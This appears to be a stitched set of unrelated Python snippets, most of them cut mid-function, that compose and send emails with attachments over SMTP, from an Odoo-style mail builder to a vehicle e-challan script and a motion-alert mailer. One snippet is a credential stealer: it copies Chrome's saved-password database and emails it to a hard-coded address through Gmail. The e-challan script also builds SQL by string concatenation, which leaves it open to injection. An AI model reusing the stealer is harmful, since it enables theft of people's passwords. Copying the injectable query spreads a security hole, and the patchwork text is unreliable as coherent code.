configuration or with the "\ "--email-from startup parameter." # Note: we must force all strings to to 8-bit utf-8 when crafting message, # or use encode_header() for headers, which does it automatically. headers = headers or {} # need valid dict later if not email_cc: email_cc = [] if not email_bcc: email_bcc = [] if not body: body = u'' email_body_utf8 = ustr(body).encode('utf-8') email_text_part = MIMEText(email_body_utf8, _subtype=subtype, _charset='utf-8') msg = MIMEMultipart() if not message_id: if object_id: message_id = tools.generate_tracking_message_id(object_id) else: message_id = make_msgid() msg['Message-Id'] = encode_header(message_id) if references: msg['references'] = encode_header(references) msg['Subject'] = encode_header(subject) msg['From'] = encode_rfc2822_address_header(email_from) del msg['Reply-To'] if reply_to: msg['Reply-To'] = encode_rfc2822_address_header(reply_to) else: msg['Reply-To'] = msg['From'] msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to)) if email_cc: msg['Cc'] = encode_rfc2822_address_header(COMMASPACE.join(email_cc)) if email_bcc: msg['Bcc'] = encode_rfc2822_address_header(COMMASPACE.join(email_bcc)) msg['Date'] = formatdate() # Custom headers may override normal headers or provide additional ones for key, value in headers.iteritems(): msg[ustr(key).encode('utf-8')] = encode_header(value) if subtype == 'html' and not body_alternative and html2text: # Always provide alternative text body ourselves if possible. text_utf8 = tools.html2text(email_body_utf8.decode('utf-8')).encode('utf-8') alternative_part = MIMEMultipart(_subtype="alternative") alternative_part.attach(MIMEText(text_utf8, _charset='utf-8', _subtype='plain')) alternative_part.attach(email_text_part) msg.attach(alternative_part) elif body_alternative: # Include both alternatives, as specified, within a multipart/alternative part alternative_part = MIMEMultipart(_subtype="alternative") body_alternative_utf8 = ustr(body_alternative).encode('utf-8') alternative_body_part = MIMEText(body_alternative_utf8, _subtype=subtype_alternative, _charset='utf-8') alternative_part.attach(alternative_body_part) alternative_part.attach(email_text_part) msg.attach(alternative_part) else: msg.attach(email_text_part) if attachments: for (fname, fcontent) in attachments: filename_rfc2047 = encode_header_param(fname) part = MIMEBase('application', "octet-stream") # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail # so we fix it by using RFC2047 encoding for the filename instead. part.set_param('name', filename_rfc2047) part.add_header('Content-Disposition', 'attachment', filename=filename_rfc2047) part.set_payload(fcontent) Encoders.encode_base64(part) msg.attach(part) return msg
msg = MIMEMultipart()#Create the container (outer) email message. msg['From'] = email msg['To'] = send_to_email msg['Subject'] = subject '''as.string() | +------------MIMEMultipart | |---content-type | +---header---+---content disposition +----.attach()-----+----MIMEBase----| | +---payload (to be encoded in Base64) +----MIMEText''' msg.attach(MIMEText(message, 'plain'))#attach new message by using the Message.attach filename = os.path.basename(file_location)#function returns the tail of the path attachment = open(file_location, "rb") #“rb” (read binary) part = MIMEBase('application', 'octet-stream')#Content-Type: application/octet-stream , image/png, application/pdf part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename)#Content-Disposition: attachment; filename="takeoff.png" msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587)# Send the message via local SMTP server. server.starttls()# sendmail function takes 3 arguments: sender's address, recipient's address and message to send server.login(email, password) text = msg.as_string() server.sendmail(email, send_to_email, text) server.quit()
if args.attachment_filename is not None: ctype, encoding = mimetypes.guess_type( args.attachment_filename) if ctype is None or encoding is not None: # No guess could be made, or the file is encoded (compressed), so # use a generic bag-of-bits type. ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) with open(args.attachment_filename, "rb") as attachment_file: inner = MIMEBase(maintype, subtype) inner.set_payload(attachment_file.read()) encoders.encode_base64(inner) inner.add_header('Content-Disposition', 'attachment', filename=args.attachment_filename) msg.attach(inner) server.sendmail(args.from_address, to_address, msg.as_string()) output_good("Email Sent to " + to_address) if args.slow_send: delay_send() output_info("Connecting to SMTP server at " + args.smtp_server + ":" + str(args.smtp_port)) server = smtplib.SMTP(args.smtp_server, args.smtp_port) except smtplib.SMTPException as e: output_error("Error: Could not send email") raise e
def main(): allContoursWithData = [] # declare empty lists, validContoursWithData = [] # we will fill these shortly try: npaClassifications = np.loadtxt( "classifications.txt", np.float32) # read in training classifications except: print("error, unable to open classifications.txt, exiting program\n") os.system("pause") return # end try try: npaFlattenedImages = np.loadtxt("flattened_images.txt", np.float32) # read in training images except: print("error, unable to open flattened_images.txt, exiting program\n") os.system("pause") return # end try npaClassifications = npaClassifications.reshape( (npaClassifications.size, 1)) # reshape numpy array to 1d, necessary to pass to call to train kNearest = cv2.ml.KNearest_create() # instantiate KNN object kNearest.train(npaFlattenedImages, cv2.ml.ROW_SAMPLE, npaClassifications) imgTestingNumbers = cv2.imread( "img{}.png".format(i)) # read in testing numbers image if imgTestingNumbers is None: # if image was not read successfully print("error: image not read from file \n\n" ) # print error message to std out os.system("pause") # pause so user can see error message return # and exit function (which exits program) # end if imgGray = cv2.cvtColor(imgTestingNumbers, cv2.COLOR_BGR2GRAY) # get grayscale image imgBlurred = cv2.GaussianBlur(imgGray, (5, 5), 0) # blur # filter image from grayscale to black and white imgThresh = cv2.adaptiveThreshold( imgBlurred, # input image 255, # make pixels that pass the threshold full white cv2. ADAPTIVE_THRESH_GAUSSIAN_C, # use gaussian rather than mean, seems to give better results cv2. THRESH_BINARY_INV, # invert so foreground will be white, background will be black 11, # size of a pixel neighborhood used to calculate threshold value 2) # constant subtracted from the mean or weighted mean imgThreshCopy = imgThresh.copy( ) # make a copy of the thresh image, this in necessary b/c findContours modifies the image imgContours, npaContours, npaHierarchy = cv2.findContours( imgThreshCopy, # input image, make sure to use a copy since the function will modify this image in the course of finding contours cv2.RETR_EXTERNAL, # retrieve the outermost contours only cv2.CHAIN_APPROX_SIMPLE ) # compress horizontal, vertical, and diagonal segments and leave only their end points for npaContour in npaContours: # for each contour contourWithData = ContourWithData( ) # instantiate a contour with data object contourWithData.npaContour = npaContour # assign contour to contour with data contourWithData.boundingRect = cv2.boundingRect( contourWithData.npaContour) # get the bounding rect contourWithData.calculateRectTopLeftPointAndWidthAndHeight( ) # get bounding rect info contourWithData.fltArea = cv2.contourArea( contourWithData.npaContour) # calculate the contour area allContoursWithData.append( contourWithData ) # add contour with data object to list of all contours with data # end for for contourWithData in allContoursWithData: # for all contours if contourWithData.checkIfContourIsValid(): # check if valid validContoursWithData.append( contourWithData) # if so, append to valid contour list # end if # end for validContoursWithData.sort(key=operator.attrgetter( "intRectX")) # sort contours from left to right strFinalString = "" # declare final string, this will have the final number sequence by the end of the program for contourWithData in validContoursWithData: # for each contour # draw a green rect around the current char cv2.rectangle( imgTestingNumbers, # draw rectangle on original testing image (contourWithData.intRectX, contourWithData.intRectY), # upper left corner (contourWithData.intRectX + contourWithData.intRectWidth, contourWithData.intRectY + contourWithData.intRectHeight), # lower right corner (0, 255, 0), # green 2) # thickness imgROI = imgThresh[ contourWithData.intRectY:contourWithData.intRectY + contourWithData.intRectHeight, # crop char out of threshold image contourWithData.intRectX:contourWithData.intRectX + contourWithData.intRectWidth] imgROIResized = cv2.resize( imgROI, (RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT) ) # resize image, this will be more consistent for recognition and storage npaROIResized = imgROIResized.reshape( (1, RESIZED_IMAGE_WIDTH * RESIZED_IMAGE_HEIGHT)) # flatten image into 1d numpy array npaROIResized = np.float32( npaROIResized ) # convert from 1d numpy array of ints to 1d numpy array of floats retval, npaResults, neigh_resp, dists = kNearest.findNearest( npaROIResized, k=1) # call KNN function find_nearest strCurrentChar = str(chr(int( npaResults[0][0]))) # get character from results strFinalString = strFinalString + strCurrentChar # append current char to full string # end for r = strFinalString ########################################### iisf = sqlite3.connect("chalan.db") cur = iisf.cursor() sql = "select * from vehicle where vehicle_number='" + r + "';" x = cur.execute(sql) if x != None: y = cur.fetchone() try: mail = "*****@*****.**" password = "******" sub = "E-CHALAN VEHICLE POLLUTION" person = y[2] a = y[5] d = datetime.datetime.today() date = datetime.datetime.strptime(a, "%Y-%m-%d") com = d.year - date.year if (com < 15): body = "Subject: {}\n Hello {} vehicle number {} model {} producing excesive amount of harmfull gases. \n please submit fine of Rs 1000 to the nearest RTO office or police station. \n Thank You \n RTO office".format( sub, y[1], y[0], y[3]) c = canvas.Canvas("{}.pdf".format(y[1])) c.drawString(280, 800, "E-challan") c.drawString(50, 650, "Date:{}".format(datetime.datetime.now())) c.drawString( 50, 630, "Chalan No. {}".format(random.randint(654789, 987654))) seal = 'download.jpg' c.drawImage(seal, 260, 670, width=100, height=100) c.drawString(50, 610, "Sir,") c.drawString( 80, 590, "{} vehicle number {} model {} ".format(y[1], y[0], y[3])) c.drawString(80, 570, "producing excesive amount of harmfull gases.") c.drawString( 80, 550, "please submit fine of Rs 1000 to the nearest RTO office or police station." ) c.drawString(50, 500, "Thank You:") c.drawString(50, 480, "RTO OFFICE") c.save() subject = "E-chalan" message = MIMEMultipart() message['From'] = mail message['To'] = person message['Subject'] = subject ## message.attach(MIMEText(body, 'plain')) filename = "{}.pdf".format(y[1]) attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('content-Disposition', 'attachment; filename=' + filename) message.attach(part) text = message.as_string() ## ## server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(mail, password) ## server.sendmail(mail, person, text) server.quit() print("Chalan send on number {}".format(r)) else: body = "Subject: {}\n Hello {} vehicle number {} model {} is cross the limit of 15 years so we cancelling your registration number.".format( sub, y[1], y[0], y[3]) c = canvas.Canvas("{}.pdf".format(y[1])) c.drawString(280, 800, "E-challan") c.drawString(50, 650, "Date:{}".format(datetime.datetime.now())) c.drawString( 50, 630, "Chalan No. {}".format(random.randint(654789, 987654))) seal = 'download.jpg' c.drawImage(seal, 260, 670, width=100, height=100) c.drawString(50, 610, "Sir,") c.drawString( 80, 590, "{} vehicle number {} model {} is cross the limit of 15 year " .format(y[1], y[0], y[3])) #c.drawString(80,570,"is cross the limit of 15 year ") c.drawString(80, 570, "So we are cancelling you vehicle registration.") c.drawString(50, 530, "Thank You:") c.drawString(50, 500, "RTO OFFICE") c.save() subject = "Vechicle Registration Cancellation" message = MIMEMultipart() message['From'] = mail message['To'] = person message['Subject'] = subject message.attach(MIMEText(body, 'plain')) filename = "{}.pdf".format(y[1]) attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('content-Disposition', 'attachment; filename=' + filename) message.attach(part) text = message.as_string() server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(mail, password) server.sendmail(mail, person, text) server.quit() print("{} vehicle registration cancel".format(r)) except: print("{} VEHICLE NOT REGISTERED".format(r)) #########################3 cv2.imshow("imgTestingNumbers", imgTestingNumbers) # show input image with green boxes drawn around found digits cv2.waitKey(2) #cv2.destroyAllWindows() # remove windows from memory return
#ATTACHMENT # open the file to be sent filename = 'pythonlearn.pdf' #"File_name_with_extension" fileLocation = os.getcwd() + '/' + filename attachment = open(fileLocation) #attachment = open("/home/pranav/Desktop/Python Projects/Email Sender/Attachments/{}".format(filename), "rb") print("File attached succesfully") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # Converts the Multipart msg into a string text = msg.as_string() # sending the mail s.sendmail(fromaddr, toaddr, text) #Editing Column B for as sent sentornot = sheet.cell(row=i,column=2) sentornot.value = 'Sent' # terminating the session s.quit()
import socket import os # creating way to Login Data and copying this file to my directory pc_name = os.environ.get("USERNAME") data_way = r"C:\\users\\" + str( pc_name) + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" copyfile(data_way, "passwords") addr_from = "*****@*****.**" addr_to = "*****@*****.**" password = "******" msg = MIMEMultipart() msg["From"] = addr_from msg["To"] = addr_to msg["Subject"] = "еще одна взломанная жопа" with open(data_way, "rb") as fp: file = MIMEBase("text", "markdown") file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-desposition', 'attachment', filename="filename") msg.attach(file) server = smtplib.SMTP("smtp.gmail.com: 587") server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
password = '******' to_addrs = ['******@163.com','******@gmail.com'] # -------------Text-------------------------------- msg = MIMEText('Hello,send by python...', 'plain', 'utf-8') # -------------HTML---------------------------------- msg = MIMEText('<html><body><h1>Hello</h1>' + '<p>send by <a href="http://www.python.org">Python</a>...</p>' + '</body></html>', 'html', 'utf-8') # -------------Attach-------------------------------- msg = MIMEMultipart('alternative') msg.attach(MIMEText('Hello,send by python...', 'plain', 'utf-8')) msg.attach(MIMEText('<html><body><a href="http://www.python.org"><img src="cid:0" /></a></body></html>', 'html', 'utf-8')) with open('img1.jpg', 'rb') as f: mime = MIMEBase('image', 'png', filename='img1.jpg') mime.add_header('Content-Disposition', 'attachment', filename='img1.jpg') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') mime.set_payload(f.read()) encoders.encode_base64(mime) msg.attach(mime) msg['From'] = _format_addr(f'Python fans <{from_addr}>') msg['To'] = ','.join([_format_addr(f'Manger <{item}>') for item in to_addrs]) msg['Subject'] = Header('From python...', 'utf-8').encode() server = SMTP(STMP_SERVER, STMP_PORT) server.starttls() server.set_debuglevel(1) server.login(from_addr, password)
def sendEmail(): #This sends an email containing any type of attachment emailfrom = "*****@*****.**" emailto = ["*****@*****.**"] fileToSend = "/home/pi/picurity-system/videos/SurveillanceFootage.h264" username = "******" password = "******" msg = MIMEMultipart() msg["From"] = emailfrom msg["To"] = ", ".join(emailto) msg["Subject"] = "Motion Has Been Detected: View Attached Clip" msg.preamble = "Motion Has Been Detected: View Attached Clip" ctype, encoding = mimetypes.guess_type(fileToSend) if ctype is None or encoding is not None: ctype = "application/octet-stream" maintype, subtype = ctype.split("/", 1) fp = open(fileToSend, "rb") attachment = MIMEBase(maintype, subtype) attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=fileToSend) msg.attach(attachment) server = smtplib.SMTP("smtp.gmail.com:587") server.starttls() server.login(username,password) server.sendmail(emailfrom, emailto, msg.as_string()) server.quit()
def run(self): account = str(self.account) # Create the enclosing (outer) message outer = MIMEMultipart() outer['Subject'] = 'mask{0}mask_{1}'.format(self.index, str(self.filename)) outer['To'] = account outer['From'] = account outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(str(self.filename), 'rb') msg = MIMEBase(maintype, subtype) #msg.set_payload(encodebytes(fp.read()).decode()) msg.set_payload(fp.read()) fp.close() encoders.encode_base64(msg) # msg.add_header('Content-Transfer-Encoding', 'base64') msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(str(self.filename))) outer.attach(msg) # Send the message composed = outer.as_string() if DEBUG: fp = open("./output", 'w') fp.write(composed) fp.close() else: s = smtplib.SMTP() s.set_debuglevel(DEBUG) s.connect(self.smtp_server) s.login(account, self.password) s.sendmail(account, account, composed) s.quit()